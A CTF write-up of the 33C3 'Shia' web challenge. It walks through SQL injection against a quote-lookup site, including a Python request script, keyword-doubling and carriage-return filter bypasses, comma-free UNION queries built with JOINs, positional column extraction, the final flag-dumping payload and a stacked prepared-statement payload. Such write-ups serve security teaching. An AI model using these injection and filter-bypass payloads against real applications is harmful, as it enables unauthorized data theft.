Shia really wants you to get the flag!

Apparently it is in the database table flag which has 4 columns, that’s all he knows.

Another challenge solved after the CTF end, I hope we don’t make a habit of it!

Overview

The website enables user to print motivational quotes out of a db by providing their IDs. Have a look at the page. Amazing, isn’t it?

And just for your pleasure, this is the video that was endlessly looping on the site.

:/

Analysis

Filled up with motivation, we can close the page and access the challenge from the command line to get rid of the video check if it’s vulnerable to SQL injections.

$ curl 'http://78.46.224.75/quote/2'
{
  "reason": "<p><strong>Yesterday you said tomorrow!</strong></p><p><footer>by Shia - added 2016-10-23 12:41:31</footer></p>", 
  "success": 1
}
$ curl 'http://78.46.224.75/quote/2a'
{
  "reason": "db error", 
  "success": 0
}
$ curl"http://78.46.224.75/quote/2'"
{
  "reason": "nice try skid", 
  "success": 0
}
...

Some characters are forbidden as they trigger the nice try skid message. These are ` ` (%20), \t (%09), \n (%0a), ' (%27), " (%22), _ (%5f). Additionally, it is not possible to provide / since URLs matching /route/.*/.* return a 404 Not Found error. However, a working separator that is not blocked by the website is \r (%0d).

That’s not the only problem though. By executing a simple subquery like ... 0 OR 1=(SELECT 1 FROM dual) we get a db error. It turns out that some keywords are removed from our input. Again, the interesting keywords being removed are SELECT, UNION, JOIN. To bypass this protection it’s enough to write SELSELECTECT since the server blanks out the SELECT keyword without checking if the resulting string contains new protected keywords.

$ curl "http://78.46.224.75/quote/0%0dOR%0d1=(SELSELECTECT%0d1%0dFROM%0ddual)"
{
  "reason": "<p><strong>Don't let your dreams be dreams!</strong></p><p><footer>by Shia - added 2016-10-23 12:41:31</footer></p>", 
  "success": 1
}

We encoded our findings in the script shia.py. It takes a query string as argument, replaces blanks with %0d and bypass the keywords filter before performing the request to the web application.

#!/usr/bin/env python3

import sys
import requests

url = 'http://78.46.224.75/quote/'
payload = sys.argv[1]
payload = payload.replace(' ', '%0d')
for w in ['select', 'union', 'join']:
	payload = payload.replace(w, w[:2] + w + w[2:])
print('Executing: {}'.format(payload))
r = requests.get(url + payload)
print(r.text)

Exploitation

The challenge description states that there is a table flag with 4 columns. Since part of the result set of the query is printed on the web page, it would be great to use the UNION operator to combine the result of the query on the current table with the output of the flag table. The SELECT statements within the UNION must have the same number of columns, so we need to check the number of columns of the current table. To do this we use the ORDER BY trick, in which we increment the column index until an error is reported. The number of columns is equal to the last index that do not cause a database error.

$ ./shia.py '1 order by 3'
Executing: 1%0dorder%0dby%0d3
{
  "reason": "<p><strong>Don't let your dreams be dreams!</strong></p><p><footer>by Shia - added 2016-10-23 12:41:31</footer></p>", 
  "success": 1
}
$ ./shia.py '1 order by 4'
Executing: 1%0dorder%0dby%0d4
{
  "reason": "db error", 
  "success": 0
}

The current table has 3 columns, 1 less than the flag table: a ... UNION SELECT * FROM flag won’t work due to the mismatching number of columns between the two tables.

Let’s try to do a basic UNION for now. Normally, we would write ... UNION SELECT 1, 2, 3, but commas are forbidden in this case. Our idea to circumvent the restriction is to select all the columns of the result of joined subqueries. The following is an example of a query that exploits this idea to return a single row with 3 elements.

mysql> SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+

We can use this trick to dump the database version (which appears to be MySQL-5.7.16):

$ ./shia.py '0 union select * from (select 1)a join (select 2)b join (select version())c' 
Executing: 0%0dununionion%0dseselectlect%0d*%0dfrom%0d(seselectlect%0d1)a%0djojoinin%0d(seselectlect%0d2)b%0djojoinin%0d(seselectlect%0dversion())c
{
  "reason": "<p><strong>2</strong></p><p><footer>by Shia - added 5.7.16-0ubuntu0.16.04.1</footer></p>", 
  "success": 1
}

If the column names of the flag table were known, we could just replace the SELECT version() subquery with a SELECT to the correct column from the flag table and thus access the flag value. Sadly, column names are usually leaked via the information_schema database, but we cannot access it due to the underscore char being forbidden.

Now, the juicy part!

Is there a way to select values from a table using a numeric index instead of the column name?

According to StackOverflow it’s impossible. There’s no mention of something like that in well-known MySQL injections cheat sheets too.

The truth is that it’s not just doable, it’s also pretty easy once you figure it out! Let’s say we want to dump the 4th column of the table flag without knowing the name of that specific column. We can do something like this:

mysql> SELECT F.4 FROM (SELECT 1, 2, 3, 4 UNION SELECT * FROM flag)F;
+-------------+
| 4           |
+-------------+
| 4           |
| s3cr3t_fl4g |
+-------------+

This works because the column names of the table derived from the subselect are the values of the leftmost SELECT!

mysql> SELECT 1, 2, 3, 4 UNION SELECT * FROM flag;
+---+-------------+------------+-------------+
| 1 | 2           | 3          | 4           |
+---+-------------+------------+-------------+
| 1 | 2           | 3          | 4           |
| 1 | foo         | bar        | s3cr3t_fl4g |
+---+-------------+------------+-------------+

In the previous query we set an alias (F) to the derived table and accessed the column 4 of that table with F.4 to get the desired value.

Going back to the challenge, we now know how to access values from a table by providing the column index. It’s then enough to remove the commas using the JOIN trick described before. The final payload looks like this:

$ ./shia.py '0 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c'
Executing: 0%0dununionion%0dseselectlect%0d*%0dfrom%0d(seselectlect%0d1)a%0djojoinin%0d(seselectlect%0d2)b%0djojoinin%0d(seselectlect%0dF.3%0dfrom%0d(seselectlect%0d*%0dfrom%0d(seselectlect%0d1)q%0djojoinin%0d(seselectlect%0d2)w%0djojoinin%0d(seselectlect%0d3)e%0djojoinin%0d(seselectlect%0d4)r%0dununionion%0dseselectlect%0d*%0dfrom%0dflag%0dlimit%0d1%0doffset%0d5)F)c
{
  "reason": "<p><strong>2</strong></p><p><footer>by Shia - added 33C3_runnn!ng_for_your_life_fRom_shia_!</footer></p>", 
  "success": 1
}

And the flag is 33C3_runnn!ng_for_your_life_fRom_shia_!

Unintended Solution

After the CTF end a member of Dragon Sector posted this on IRC:

http://78.46.224.75/quote/2;SET%0D@a%3d0x444f20736c656570283529;PREPARE%0Dasd%0DFROM%0D@a;EXECUTE%0Dasd

Apparently, stacked queries weren’t forbidden, so it was possible to exploit server-side prepared statements in order to hex-encode arbitrary SQL queries to bypass the restrictions on characters.

Acknowledgments

Thanks to Eat Sleep Pwn Repeat for the fun challenge and the amazing CTF! Also thanks to nurfed from Tasteless for putting me on the right track.

And last but definitely not least, thanks to our friends Tower of Hanoi for hosting us at the Polimi assembly during the Congress. We had a great time playing together :)